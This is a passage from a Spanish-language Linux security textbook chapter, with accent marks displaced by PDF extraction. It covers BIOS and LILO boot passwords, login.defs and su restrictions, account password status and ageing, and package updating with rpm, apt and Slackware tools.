a Microsoft. Muchas personas vieron que Linux pod´ llegar a ser rentable (a pesar ıa de su filosof´ free), y se comenz´ a trabajar mucho en la facilidad de instalaci´n y manejo para ıa o o usuarios sin elevados conocimientos de inform´tica; incluso llegaba a desbancar en muchas ocasiones a al inamovible Minix a la hora de estudiar dise˜o de sistemas operativos en las universidades (algo n poco comprensible, por otra parte, ya que cualquiera que le haya pegado un vistazo al c´digo del o kernel de Linux podr´ comprobar que a diferencia de Minix no est´ dise˜ado para ser legible y a a n did´ctico, sino para ser r´pido). a a En la actualidad Linux cuenta con varios millones de usuarios, y se ha convertido en el Unix m´s a user–friendly de todos los existentes, ya que no hacen falta conocimientos avanzados para instalarlo y manejarlo m´ ınimamente; reconoce multitud de hardware (algo que siempre ayuda en el mercado de los ordenadores de sobremesa), y se puede utilizar para funciones tan diversas como servidores
- 178. 160 CAP´ ITULO 10. LINUX web, de bases de datos, de correo electr´nico, o como una sencilla workstation. En muchas empresas o medianas y peque˜as ha desplazado por completo a los sistemas Unix comerciales (caros y que gen- n eralmente corren sobre hardware que tampoco es barato), e incluso en grandes servidores se utiliza Linux como sistema operativo; aunque – y esto es una cr´ ıtica, por si no queda claro – en algunas ocasiones se echan de menos mecanismos de seguridad que s´ est´n disponibles en otros Unices, ı a podemos decir que Linux proporciona un nivel de seguridad, fiabilidad y estabilidad adecuado a la mayor parte de aplicaciones gen´ricas que nos podamos imaginar (es decir, no es un operativo apto e para controlar una central nuclear, pero s´ para cualquier aplicaci´n de criticidad baja o media que ı o podamos utilizar d´ a d´ ıa ıa). Al igual que hemos hecho en el cap´ ıtulo anterior con Solaris, vamos a hablar en este de aspec- tos de seguridad espec´ ıficos de Linux, aunque como siempre lo que hemos comentado para Unix en general es casi siempre aplicable a este clon. Sobre temas propios de Linux podemos obtener infor- maci´n adicional y gratuita a trav´s de Internet, en cualquier documento del proyecto LDP (Linux o e Documentation Project); tambi´n existen numerosos libros sobre aspectos espec´ e ıficos de este opera- tivo, desde la implementaci´n de su n´cleo ([BBD+ 96], [CDM97]. . . ) hasta su seguridad ([Tox00], o u [Ano01]. . . ), pasando por supuesto por temas de administraci´n gen´rica ([HN+ 99], [BPB00]. . . ). o e 10.2 Seguridad f´ ısica en x86 Si cuando hemos hablado de Solaris hac´ ıamos referencia al nivel de seguridad m´s bajo que ofrece a una m´quina sparc, el correspondiente a su eeprom, parece obligatorio comentar, en el cap´ a ıtulo dedicado a Linux, de la seguridad de m´s bajo nivel que ofrece este operativo ejecut´ndose sobre a a su principal plataforma: el PC. Cuando arranca un ordenador personal se ejecuta un software denominado bios (Basic I/O Sys- tem) cuya funci´n principal es determinar una serie de par´metros de la m´quina y proporcionar o a a un sistema b´sico de control de dispositivos, como el teclado o los puertos de comunicaciones; este a software se aloja t´ ıpicamente en una memoria rom (Read–Only Memory) o flash (estos ultimos ´ permiten actualizar la versi´n de la bios sin necesidad de cambiar el chip correspondiente), de o forma que se permita autoarrancar a la m´quina aunque el subsistema de almacenamiento tenga a problemas y no se pueda iniciar el operativo. En el arranque de un PC se puede acceder a la configuraci´n de su bios mediante la pulsaci´n de una tecla o una secuencia de escape dependiente o o de cada modelo de chip; desde ese entorno de configuraci´n se pueden asignar par´metros como la o a fecha y hora del sistema, la arquitectura de los discos duros, o la habilitaci´n de memorias cach´. o e Por supuesto, la bios de un PC es completamente independiente del operativo que se arranque despu´s; esto implica que cuando a continuaci´n comentemos la protecci´n que ofrece una bios, e o o lo que digamos ser´ aplicable sin importar qu´ operativo se ejecute en la m´quina: servir´ a e a a tanto para Linux como para Solaris, FreeBSD, NetBSD. . . e incluso para las diferentes versiones de Windows. Si lo comentamos en este cap´ ıtulo dedicado a Linux y no en otro, es unicamente porque ´ la mayor parte de plataformas sobre las que se ejecuta este operativo son ordenadores personales. Generalmente la mayor parte de las bios ofrecen la posibilidad de establecer dos contrase˜as in- n dependientes. La primera de ellas es una clave que evita a usuarios que no la conozcan acceder a la configuraci´n de la bios, ya que se solicitar´ al pulsar la secuencia de escape de la que hemos o a hablado antes para entrar en el entorno de configuraci´n durante el arranque de una m´quina. El o a esquema de esta contrase˜a en muchas ocasiones no es todo lo robusto que debiera, y en funci´n n o del modelo y versi´n de cada chip de memoria – especialmente en los m´s antiguos – es posible o a que incluso se pueda romper ejecutando un simple programa desde l´ ınea de ´rdenes; a pesar de o ello, puede ser util en entornos de muy baja seguridad para prevenir que cualquiera se dedique ´ a cambiar la configuraci´n de la bios, pero m´s por comodidad (el administrador de la m´quina o a a deber´ restaurar dicha configuraci´n de nuevo, algo bastante molesto sobre todo si el n´mero de ıa o u ordenadores es elevado, como en un laboratorio o un aula) que por seguridad. La segunda de estas claves ofrece un nivel de protecci´n algo m´s elevado; se trata de una contrase˜a o a n que evita el arranque del PC sin que se teclee el password (en local, por supuesto, recordemos que el
- 179. 10.2. SEGURIDAD F´ ISICA EN X86 161 operativo a´n no se ha inicializado). Con ella se consigue que nadie que no conozca la clave pueda u arrancar un ordenador, pero una vez arrancado no sirve para nada m´s; puede ser util para evitar a ´ que usuarios no autorizados puedan sentarse delante de una m´quina y arrancar desde un diskette, a aunque seguramente una soluci´n menos agresiva es configurar la bios para que s´lo arranque desde o o disco duro, o al menos no trate de hacerlo desde floppy antes que desde el disco primario. No ob- stante, poner una contrase˜a para arrancar el sistema, como muchas medidas de seguridad, puede n tener efectos negativos en la funcionalidad o en la comodidad de administraci´n: no podremos o realizar reboots autom´ticos ni remotos de Unix, ya que cada vez que el sistema reinicie alguien a deber´ estar f´ a ısicamente al lado de la m´quina para teclear la clave correspondiente. a Antes de finalizar este punto dedicado a la seguridad f´ ısica dentro de Linux debemos hablar de la protecci´n ofrecida por lilo; ahora ya no se trata de algo gen´rico de los PCs, sino de mecanis- o e mos implantados en el cargador de Linux que s´lo son aplicables a sistemas arrancados desde dicho o cargador. lilo (LInux LOader) es un software que se instala en un sector de arranque – de una partici´n o de un diskette – o en el Master Boot Record (mbr) del disco duro y que permite de esta o forma arrancar tanto Linux como otros sistemas operativos instalados en el PC. lilo toma su configuraci´n del archivo /etc/lilo.conf del sistema Linux; cada vez que mod- o ifiquemos ese archivo ser´ necesario ejecutar la orden /sbin/lilo si queremos que los cambios a tengan efecto en el siguiente encendido de la m´quina: a luisa:~# /sbin/lilo Added linux * luisa:~# Al arrancar el PC, lilo permite elegir una imagen para ser arrancada, as´ como especificar par´- ı a metros para el n´cleo; aunque esto sea necesario para inicializar el sistema en ciertas ocasiones – u principalmente cuando hay errores graves en un arranque normal –, el hecho es que los par´metros a pasados a un kernel antes de ser arrancado pueden facilitar a un atacante un control total sobre la m´quina, ya que algunos de ellos llegan incluso a ejecutar un shell con privilegios de root sin a necesidad de ninguna contrase˜a. n En determinadas ocasiones, quiz´s nos interese proteger el arranque de una m´quina, tanto a a a nivel de la elecci´n de n´cleo a arrancar como a nivel de las opciones que se pasan a dicho n´cleo. o u u Podemos habilitar desde lilo el uso de una contrase˜a que se solicitar´ antes de que lilo cargue n a cualquier sistema operativo instalado en el ordenador; para ello debemos hacer uso de la directiva ‘password’ en /etc/lilo.conf: luisa:~# cat /etc/lilo.conf boot = /dev/hda delay = 50 vga = normal password = P,e+bqa image = /vmlinuz root = /dev/hda1 label = linux read-only luisa:~# Tras ejecutar /sbin/lilo, en el siguiente arranque de la m´quina se solicitar´ la contrase˜a especi- a a n ficada antes de arrancar cualquier sistema operativo; es importante que /etc/lilo.conf tenga un permiso de lectura s´lo para el root, ya que como podemos ver contiene contrase˜as sin cifrar. o n Evidentemente, si elegimos este tipo de protecci´n nos podemos olvidar de cualquier cosa que o implique un reinicio autom´tico del ordenador, ya que como acabamos de decir siempre se solici- a tar´ una clave en el arranque; podemos relajar esta restricci´n de una forma muy util: forzando el a o ´ uso de un password s´lo si se especifican par´metros adicionales para el n´cleo que se quiere arran- o a u car. Esto permite un equilibrio m´s que razonable entre seguridad y usabilidad, ya que cualquiera a
- 180. 162 CAP´ ITULO 10. LINUX – con los privilegios necesarios – puede reiniciar el sistema, e incluso se pueden programar rear- ranques autom´ticos, pero siempre ser´ necesaria una clave si alguien desea especificar par´metros a a a adicionales al kernel. Para conseguir esto utilizaremos la directiva ‘restricted’ en conjunci´n con ‘password’ en el o archivo de configuraci´n de lilo; bas´ndonos en el ejemplo anterior, el contenido del nuevo fichero o a ser´ el siguiente: ıa luisa:~# cat /etc/lilo.conf boot = /dev/hda delay = 50 vga = normal password = P,e+bqa restricted image = /vmlinuz root = /dev/hda1 label = linux read-only luisa:~# Los dos par´metros que acabamos de ver (‘password’ y ‘restricted’ se pueden utilizar y combi- a nar bien en la configuraci´n general de lilo – como lo hemos visto aqu´ – o bien en la configuraci´n o ı o particular de cada uno de los sistemas operativos a arrancar; si queremos esto ultimo no tenemos ´ m´s que incluir las directivas dentro de la configuraci´n de las entradas ‘image’ (im´genes del a o a kernel de Linux) u ‘other’ (arranque de otros sistemas operativos) en lugar de hacerlo antes de estas entradas: luisa:~# cat /etc/lilo.conf boot = /dev/hda delay = 50 vga = normal image = /vmlinuz root = /dev/hda1 label = linux read-only password = 66n4k restricted luisa:~# De esta forma podemos particularizar claves para cada sistema o n´cleo, definir entradas en las que u se necesitar´ la clave s´lo si pasamos par´metros en el arranque, entradas en las que se necesitar´ a o a a siempre, entradas en las que no se necesitar´ nunca, etc. a Para finalizar este punto, es necesario recordar una vez m´s que una correcta configuraci´n del a o arranque en la bios es imprescindible para garantizar la seguridad f´ ısica de la m´quina; sin ir m´s a a lejos, si un pirata consigue arrancar el ordenador desde un diskette, poseer´ un control total del a sistema sin importar las claves que tengamos definidas en /etc/lilo.conf. 10.3 Usuarios y accesos al sistema En un sistema Linux es posible controlar ciertos par´metros referentes al acceso de los usuarios a a trav´s de telnet o r-∗ mediante el fichero /etc/login.defs; sus directivas no afectan directamente e – aunque algunas de ellas s´ de una forma indirecta – a las conexiones a trav´s de otros mecanis- ı e mos como ssh, que poseen sus propios ficheros de configuraci´n. Como siempre, insistimos en la o necesidad de sustituir todos los protocolos en claro por equivalentes cifrados, con lo que ni telnet ni r-∗ deber´ existir como servicio en una m´quina Unix, pero de cualquier forma vamos a comen- ıan a tar algunas directivas del fichero anterior que pueden resultar interesantes para nuestra seguridad, tanto si afectan a las conexiones remotas como si no; para obtener informaci´n acerca del resto o
- 181. 10.3. USUARIOS Y ACCESOS AL SISTEMA 163 de directivas – y tambi´n de las comentadas aqu´ – podemos consultar la p´gina del manual de e ı a login.defs(5). La primera de las directivas que encontramos en /etc/login.defs es fail delay, que marca el n´mero de segundos (por defecto, 3) que el sistema introduce como retardo desde que se introduce u un nombre de usuario o contrase˜a incorrectos hasta que se vuelve a solicitar el login de entrada al n sistema; el n´mero m´ximo de intentos antes de que se cierre la conexi´n viene determinado por el u a o valor de login retries, por defecto a 5, y el tiempo m´ximo durante el que se permite la entrada a antes de cerrar la conexi´n se especifica mediante la directiva login timeout (60 segundos por o defecto). Cuando un usuario se equivoca en su nombre de entrada o su clave entran en juego un par de directivas m´s: faillog enab y log unkfail enab. La primera de ellas, con un valor por defecto a a ‘yes’ (el adecuado para nuestra seguridad), se encarga de registrar los intentos fallidos de acceso al sistema en /var/log/faillog, as´ como de mostrar un mensaje con informaci´n acerca del ultimo ı o ´ intento de acceso fallido cuando un usuario accede a la m´quina. Por su parte, log unkfail enab a habilita o deshabilita el registro del nombre de usuario que ha fallado al tratar de entrar al sistema; es importante que su valor sea ‘no’ (es decir, que ese nombre de usuario no se registre) por una sencilla raz´n: en muchas ocasiones los usuarios teclean su password en lugar de su login cuando o tratan de acceder a la m´quina, con lo que si el nombre de usuario incorrecto – la clave – se reg- a istra en un fichero en texto plano, y ese fichero tiene unos permisos inadecuados, cualquiera con acceso de lectura sobre el archivo de log podr´ deducir f´cilmente el nombre y la clave del usuario. ıa a Adicionalmente, si la directiva ftmp file define un archivo (por defecto, /var/log/btmp), en el mismo se registra cada intento de acceso fallido en formato utmp(5); dicha informaci´n se puede o consultar mediante la orden lastb. Si se produce la situaci´n contraria a la que acabamos de comentar (es decir, el usuario teclea o correctamente tanto su nombre como su contrase˜a), la directiva log ok logins habilita o desha- n bilita el registro de este hecho en funci´n de si su valor es ‘yes’ o ‘no’; adem´s, si lastlog enab o a tiene un valor ‘yes’ se registra la entrada en /var/log/lastlog y se muestra al usuario infor- maci´n acerca de su ultima conexi´n. En caso de que el usuario no pueda acceder a su directorio o ´ o $HOME (bien porque no existe, bien por los permisos del mismo) entra en juego default home, y en caso de que su valor sea ‘no’ no se permite el acceso; por el contrario, si su valor es ‘yes’, el usuario entra al directorio raiz de la m´quina. a En /etc/login.defs tambi´n se pueden definir l´ e ıneas para las que no es necesaria ninguna con- trase˜a, mediante la directiva no password console: si alguien trata de conectar al sistema a n trav´s de ellas, se le solicitar´ su nombre de usuario pero no su clave; esto es aplicable para todos e a los usuarios de la m´quina excepto para el administrador, al que siempre se le pide su password. a Evidentemente, para incrementar la seguridad de nuestro sistema la directiva correspondiente ha de estar comentada. El acceso a la cuenta del superusuario tambi´n viene determinado por ciertas directivas del archivo e /etc/login.defs. En primer lugar, s´lo se permiten accesos directos como root desde las l´ o ıneas definidas en la entrada console, que puede ser bien un archivo que contiene los nombres de disposi- tivos desde los que permitimos la entrada del administrador, o bien una relaci´n de esos dispositivos o separados por el car´cter ‘:’; por defecto, en un sistema Linux esta entrada referencia al archivo a /etc/securetty, que es un listado de terminales de la forma siguiente: luisa:~# cat /etc/securetty console tty1 tty2 tty3 tty4 tty5 tty6
- 182. 164 CAP´ ITULO 10. LINUX luisa:~# Como hemos dicho, la funci´n del anterior archivo es muy similar a la de la directiva ‘console’ en o el fichero /etc/default/login de Solaris; si no existe, el administrador puede conectar en remoto desde cualquier lugar, mientras que si existe pero est´ vac´ s´lo se pueden alcanzar privilegios a ıo o de root a trav´s de la ejecuci´n de ‘su’. En cualquier caso, el fichero no evita ni controla las e o conexiones remotas como superusuario a trav´s de mecanismos como ssh o X Window, que poseen e sus propios ficheros de configuraci´n. o El contenido o la existencia de /etc/securetty tampoco evita de ninguna forma la ejecuci´n o de ‘su’; para ello existen otras directivas que controlan el acceso y el comportamiento de esta orden en el sistema. La primera de ellas es su wheel only, que si posee un valor ‘yes’ indica que s´lo los usuarios miembros del grupo ‘root’1 van a ser capaces de cambiar su identidad mediante o ‘su’ a un usuario con privilegios de administrador (uid 0); si este grupo no existe o est´ vacio, a nadie podr´ ejecutar ‘su’ para convertirse en superusuario. a En el archivo /etc/suauth (completamente independiente de /etc/login.defs) se puede realizar un control m´s minucioso de la ejecuci´n de ‘su’, no s´lo para acceder a cuentas con privilegios a o o de administraci´n, sino tambi´n para permitir o denegar cambios de identidad entre dos usuarios o e cualesquiera del sistema. Se trata de un fichero en el que cada l´ ınea es de la forma to-id:from-id:ACCION donde ACCION puede ser deny (se deniega el cambio de identidad), nopass (se permite el cambio sin necesidad de ninguna clave) u ownpass (se solicita el password del usuario que ejecuta la orden en lugar del correspondiente al usuario al que se quiere acceder); se puede consultar la p´gina a del manual suauth(5) para conocer la sintaxis exacta del archivo. Por ejemplo, si queremos que el usuario ‘toni’ no pueda ejecutar ‘su’ para cambiar su identidad a ‘root’, pero que para convertirse en ‘prova’ s´lo tenga que teclear su propia contrase˜a, tendremos un fichero similar al o n siguiente: luisa:~# cat /etc/suauth root:toni:DENY prova:toni:OWNPASS luisa:~# Cuando toni trate de hacer ‘su’ a las cuentas anteriores, ver´ algo similar a: a luisa:~$ id uid=1000(toni) gid=100(users) groups=100(users) luisa:~$ su Access to su to that account DENIED. You are not authorized to su root luisa:~$ luisa:~$ su prova Please enter your OWN password as authentication. (Enter your own password.) Password: luisa:/home/toni$ id uid=1006(prova) gid=100(users) groups=100(users) luisa:/home/toni$ Es importante destacar que el contenido del fichero /etc/suauth s´lo afecta a usuarios regulares, o no al root: no podemos definir reglas que eviten que el administrador de un sistema cambie su identidad a cualquier usuario del mismo. Esto es algo evidente, ya que si no se permitiera al root cambiar su identidad, este no tendr´ m´s que modificar el fichero para eliminar la regla que se lo ıa a impide. 1 Realmente, del primer grupo con gid 0 en /etc/group, que corresponde al grupo ‘root’ en la mayor´ de sistemas ıa Linux.
- 183. 10.3. USUARIOS Y ACCESOS AL SISTEMA 165 Volviendo a /etc/login.defs, el registro de las ejecuciones de ‘su’ tambi´n se controla desde e este fichero; la directiva sulog file define el archivo donde se registran las ejecuciones de esta orden, tanto si son exitosas como si no. Adem´s, si el valor de syslog su enab es ‘yes’ se guarda a un registro adicional a trav´s de syslogd en el archivo correspondiente; existe una directiva an´loga e a a esta ultima denominada syslog sg enab, que registra tambi´n a trav´s de syslogd los cam- ´ e e bios de grupo que se producen en el sistema (por ejemplo, mediante la ejecuci´n de la orden newgrp). o Antes de dejar de lado los aspectos relacionados con ‘su’ vamos a comentar una directiva muy interesante: se trata de su name, que define el nombre de programa que un ‘ps’ muestra cuando alguien ejecuta la orden ‘su -’ (un cambio de identidad emulando un proceso de login directo) en el sistema. Su valor por defecto es ‘su’, lo que indica que si alguien cambia su identidad de la forma que acabamos de ver, un listado de procesos mostrar´ algo similar a lo siguiente: a luisa:~$ su - prova Password: Famous, adj.: Conspicuously miserable. -- Ambrose Bierce luisa:~$ ps xuw prova 19990 0.8 0.3 1708 984 pts/8 S 07:04 0:00 -su prova 20001 0.0 0.2 2548 908 pts/8 R 07:04 0:00 ps xuw luisa:~$ Como vemos, en lugar del shell que el usuario est´ utilizando, aparece el nombre de programa ‘-su’ e en la ultima columna del listado; si la directiva no estuviera definida s´ que aparecer´ el nombre ´ ı ıa del shell correspondiente. Puede resultar interesante redefinir la directiva su name para asignarle un valor que pueda resaltar m´s en el listado, de forma que el administrador pueda ver quien ha a ejecutado la orden ‘su -’ de una forma m´s directa: a luisa:~# grep ^SU_NAME /etc/login.defs SU_NAME ***SU*** luisa:~# su - prova f u cn rd ths, u cn gt a gd jb n cmptr prgrmmng. luisa:~$ ps xuw USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND prova 20083 7.0 0.3 1712 988 pts/8 S 07:11 0:00 -***SU*** prova 20094 0.0 0.2 2548 912 pts/8 R 07:11 0:00 ps xuw luisa:~$ A la hora de definir nuevos usuarios en el sistema tambi´n entran en juego ciertas directivas del e archivo /etc/login.defs. Por ejemplo, el uid y gid m´ximo y m´ a ınimo para los usuarios regulares viene determinado por uid max, gid max, uid min y gid min. Tambi´n existen entradas para e especificar ciertas caracter´ısticas relacionadas con las claves de los nuevos usuarios del sistema: se trata de pass max days, pass min days, pass min len y pass warn age. Como sus nombres indican, estas directivas marcan los n´meros m´ximo y m´ u a ınimo de d´ que una contrase˜a puede ıas n ser usada, la longitud m´ ınima que todo password ha de tener, y el n´mero de d´ de antelaci´n u ıas o con que se avisar´ a los usuarios antes de que sus claves caduquen, respectivamente. Cada vez que a se crea a un usuario nuevo en el sistema, se toman estos valores por defecto, aunque despu´s es e habitual particularizar para cada caso concreto. Cuando un usuario ejecuta la orden passwd para cambiar su contrase˜a en el sistema entra en n juego la directiva obscure checks enab (cuyo valor ha de ser ‘yes’) para impedir que se eli- jan claves d´biles (por ejemplo, las formadas unicamente por letras min´sculas); adicionalmente, e ´ u si la orden est´ enlazada a cracklib (esto se realiza en tiempo de compilaci´n) y la directiva a o cracklib dictpath est´ definida y tiene como valor la ruta de un directorio, se buscan en el a
- 184. 166 CAP´ ITULO 10. LINUX mismo ficheros de diccionario contra los que comparar la nueva contrase˜a, rechaz´ndola si se en- n a cuentra en alguno de ellos. En cualquier caso, se permiten tantos intentos de cambio como indica pass change tries, y si se supera este n´mero se devuelve al usuario a su shell y la clave per- u manece inalterada; si el usuario que trata de cambiar el password es el root – tanto la propia clave como la de cualquier usuario – se le permite elegir cualquier contrase˜a, sin importar su robustez, n pero se le advierte de que la clave elegida es d´bil si el valor de directiva pass always warn es e ‘yes’. Al ejecutar passwd para modificar valores del campo gecos o para cambiar el shell de entrada al sistema (o equivalentemente, al ejecutar chfn o chsh) se solicita al usuario su clave si el valor de la directiva chfn auth es ‘yes’. Adem´s, la entrada chfn restrict define los campos concretos a que un usuario puede modificar: Full Name, Room Number, Work Phone y Home Phone (‘frwh’ si permitimos que modifique todos ellos); si la directiva no est´ definida, no se permite ning´n tipo a u de cambio. Relacionada tambi´n con las contrase˜as de los usuarios, la directiva pass max len marca el e n n´mero de caracteres significativos en una clave (8 por defecto); no obstante, esta entrada es u ignorada si el valor de md5 crypt enab es ‘yes’, lo que indica que el sistema acepta passwords basados en md5, que proporcionan una longitud para las claves ilimitada y salts m´s largos que el a esquema cl´sico de Unix. La unica raz´n para asignarle a esta ultima directiva un valor ‘no’ en los a ´ o ´ Linux modernos es por razones de compatibilidad, ya que la seguridad que proporciona este tipo de claves es mucho mayor que la proporcionada por los mecanismos habituales de Unix. Dejando ya de lado el archivo /etc/login.defs, pero siguiendo con la gesti´n de las contrase˜as o n de usuario, para consultar el estado de las mismas en un sistema Linux hemos de ejecutar la orden ‘passwd -S’ seguida del nombre del usuario correspondiente; por desgracia, en Linux no existe un par´metro ‘-a’ similar al de Solaris, que muestre informaci´n de todos los usuarios, por lo que a o hemos de hacer la consulta uno a uno: luisa:~# for i in ‘awk -F: ’{print $1}’ /etc/passwd‘ > do > passwd -S $i > done root P 12/28/2000 0 -1 -1 -1 bin L 10/28/1996 0 -1 -1 -1 daemon L 10/28/1996 0 -1 -1 -1 adm L 10/28/1996 0 -1 -1 -1 lp L 10/28/1996 0 -1 -1 -1 sync L 10/28/1996 0 -1 -1 -1 shutdown L 10/28/1996 0 -1 -1 -1 halt L 10/28/1996 0 -1 -1 -1 mail L 10/28/1996 0 -1 -1 -1 news L 10/28/1996 0 -1 -1 -1 uucp L 10/28/1996 0 -1 -1 -1 operator L 10/28/1996 0 -1 -1 -1 games L 10/28/1996 0 -1 -1 -1 ftp L 10/28/1996 0 -1 -1 -1 gdm L 10/28/1996 0 -1 -1 -1 nobody L 10/28/1996 0 -1 -1 -1 toni P 12/29/2000 0 99999 7 -1 prova NP 10/23/2001 0 99999 7 -1 luisa:~# El segundo campo de cada l´ ınea del listado anterior proporciona el estado de la clave correspondi- ente: ‘P’ si el usuario tiene contrase˜a, ‘L’ si la cuenta est´ bloqueada, y ‘NP’ si el usuario no n a tiene clave asignada; en este ultimo caso es muy importante poner un password al usuario o bien ´ bloquear su acceso: luisa:~# passwd -S prova
- 185. 10.4. EL SISTEMA DE PARCHEADO 167 prova NP 10/23/2001 0 99999 7 -1 luisa:~# passwd -l prova Password changed. luisa:~# passwd -S prova prova L 10/23/2001 0 99999 7 -1 luisa:~# El resto de campos del listado hacen referencia propiedades de envejecimiento de las claves: cuando se cambi´ la contrase˜a de cada usuario por ultima vez, cuales son sus periodos de validez m´ximo o n ´ a y m´ınimo, el periodo de aviso y el periodo de inactividad antes de bloquear el acceso de forma autom´tica; tambi´n mediante passwd (o equivalentemente mediante chage) podemos – como root a e – modificar esta informaci´n para cada uno de nuestros usuarios. Por ejemplo, si queremos que la o clave del usuario ‘prova’ tenga un periodo de validez m´ximo de un mes y m´ a ınimo de 10 d´ que ıas, se avise al usuario de que su clave va a caducar con una antelaci´n de una semana, y que si una o vez la clave ha caducado el usuario no entra al sistema en cinco d´ se bloquee su cuenta podemos ıas conseguirlo con la siguiente orden: luisa:~# passwd -S prova prova L 10/23/2001 0 99999 7 -1 luisa:~# passwd -x 30 -n 10 -w 7 -i 5 prova Password changed. luisa:~# passwd -S prova prova L 10/23/2001 10 30 7 5 luisa:~# Como en este caso la cuenta est´ bloqueada, los cambios tendr´n efecto cuando esta se desbloquee (o a a directamente se le asigne una nueva clave) y comience a ser utilizada; a diferencia de otros sistemas Unix, el desbloqueo de un acceso en Linux guarda una especie de estado: conserva la contrase˜a n que el usuario ten´ antes de que su cuenta fuera bloqueada. ıa 10.4 El sistema de parcheado A la hora de hablar de actualizaciones en Linux debemos distinguir entre la actualizaci´n del n´cleo o u del operativo y la de las diferentes aplicaciones del sistema. Esta ultima no es en ning´n momento ´ u algo tan est´ndar como lo pueda ser en Unices comerciales como Solaris o AIX debido a que no a hay un unico modelo de Linux en el mercado, sino que existen diferentes clones de este operativo, ´ y a pesar de que todos son ‘Linux’ en cada uno de ellos se trabaja de forma diferente. Por contra, si lo que se va a actualizar es el n´cleo de Linux en cualquiera de ellos se procede de la misma u forma, ya que el kernel es com´n a todas las distribuciones. Vamos a hablar primero brevemente u de los diferentes m´todos de actualizaci´n de aplicaciones en funci´n del Linux utilizado y despu´s e o o e comentaremos aspectos de actualizaci´n y parcheado del n´cleo. o u En Red Hat, y en todos los Linux basados en esta distribuci´n (Mandrake, Caldera. . . ) el software o se suele descargar precompilado desde Internet en un formato especial denominado rpm (Red Hat Package Manager), que permite al administrador de un sistema instalar y desinstalar programas, as´ como verificar versiones del software instalado en la m´quina; podemos encontrar una extensa ı a descripci´n de este formato en [Bai97], aunque la idea m´s elemental acerca del mismo es que se o a trata de un sistema de gesti´n (instalaci´n, actualizaci´n, borrado. . . ) de software capaz de hacer o o o comprobaciones de dependencia entre paquetes, ejecutar programas de pre y postinstalaci´n y de-o tectar y solventar cierto tipo de conflictos entre diferentes paquetes o diferentes versiones del mismo. Actualizar versiones de software mediante rpm es una tarea sencilla: normalmente el administrador no tiene m´s que ejecutar ‘rpm -U’, orden que se encargar´ de instalar la nueva versi´n y eliminar a a o la antigua (si existe); es equivalente a ejecutar primero una instalaci´n (‘rpm -i’) del paquete o actualizado y despu´s un borrado (‘rpm -e’) de la versi´n anteriormente instalada en la m´quina. e o a Lo m´s habitual es ver en primer lugar la versi´n concreta de un paquete soft instalado en la a o m´quina, mediante ‘rpm -q’ (‘rpm -qa’ nos mostrar´ un listado de todos y cada uno de los a a paquetes instalados):
- 186. 168 CAP´ ITULO 10. LINUX rosita:~# rpm -q libpcap libpcap-0.4-10 rosita:~# Tras esto podemos conseguir una versi´n actualizada (el paquete en formato rpm del software que o nos interese) e instalarla mediante las ´rdenes vistas anteriormente: o rosita:~# ls -l libpcap-0.4-19.i386.rpm -rw-r--r-- 1 root root 56554 Feb 18 03:54 libpcap-0.4-19.i386.rpm rosita:~# rpm -U libpcap-0.4-19.i386.rpm rosita:~# rpm -q libpcap libpcap-0.4-19 rosita:~# Por su parte, en Debian y derivados, la actualizaci´n de software se puede llevar a cabo mediante o ‘dpkg’, que permite instalar, configurar y eliminar paquetes; no obstante, su uso – al menos de forma directa – hoy en d´ es poco habitual debido a la existencia de otra herramienta denominada ıa apt (Advanced Package Tool), posiblemente el mecanismo de instalaci´n y actualizaci´n de soft- o o ware m´s c´modo de cuantos existen en Linux. La principal interfaz entre este sistema y el usuario a o es ‘apt-get’, herramienta de l´ınea de ´rdenes cuyo funcionamiento se basa especialmente en el o fichero /etc/apt/sources.list, que como su nombre indica es un registro de las fuentes desde las que se pueden obtener paquetes actualizados. Los paquetes de software en Debian suelen tener un nombre finalizado en ‘.deb’, que realmente es un ‘.ar’ con algunas modificaciones; para obtener un listado actualizado de los paquetes disponibles en las diferentes ubicaciones indicadas en /etc/apt/sources.list no tenemos m´s a que ejecutar la orden ‘apt-get update’ (algo recomendable cada vez que se modifique el fichero de fuentes), que conectar´ a cada una de dichas ubicaciones y descargar´ la lista de paquetes a a actualizados; esta orden no instala esos paquetes, por lo que a continuaci´n deberemos ejecutar o ‘apt-get install’ o, directamente ‘apt-get upgrade’ para actualizar las versiones del software ya instalado: rosita:~# apt-get upgrade Reading Package Lists... Done Building Dependency Tree... Done 0 packages upgraded, 0 newly installed, 0 to remove and 0 not upgraded. rosita:~# Tanto Red Hat como Debian proporcionan mecanismos para verificar – hasta cierto punto – la integridad de cada paquete instalado; realmente, m´s que la integridad, podr´ a ıamos hablar de las modificaciones sufridas por archivos instalados a partir de un paquete con respecto a los originales (qu´ ficheros han sido modificados desde la instalaci´n), ya que no se trata de comprobaciones de e o integridad que nos permitan decir si un paquete ha sido troyanizado o no, sino simples verificaciones de presencia de ficheros modificados. Como casi siempre, para comprobar realmente la autenticidad del software debemos recurrir a funciones resumen tipo md5. El Linux m´s arcaico (pero no por ello el peor, ni mucho menos) a la hora de actualizar software a es Slackware; en esta distribuci´n de Linux el formato de paquete es sin duda el m´s est´ndar de o a a todos: el software se distribuye en ficheros .tgz, que no son m´s que archivos .tar.gz compatibles a con cualquier Unix, con unas peque˜as modificaciones para poderlos instalar mediante installpkg, n un sencillo shellscript. En cualquier caso, ni siquiera suele ser necesaria esta utilidad para instalar ficheros .tgz: es suficiente con desempaquetarlos y descomprimirlos desde el directorio ra´ de la ız m´quina. a En Slackware podemos utilizar el comando upgradepkg para actualizar un paquete de software determinado; esta orden no es m´s que otro shellscript que instala el paquete nuevo y elimina los a ficheros de la versi´n antigua que no existan en la nueva. Sin embargo, entre los administradores o de Slackware – me incluyo en el grupo – es mucho m´s habitual descargar el c´digo fuente de la a o aplicaci´n a actualizar, compilarlo e instalarlo por encima de la versi´n antigua (o eliminar esta o o
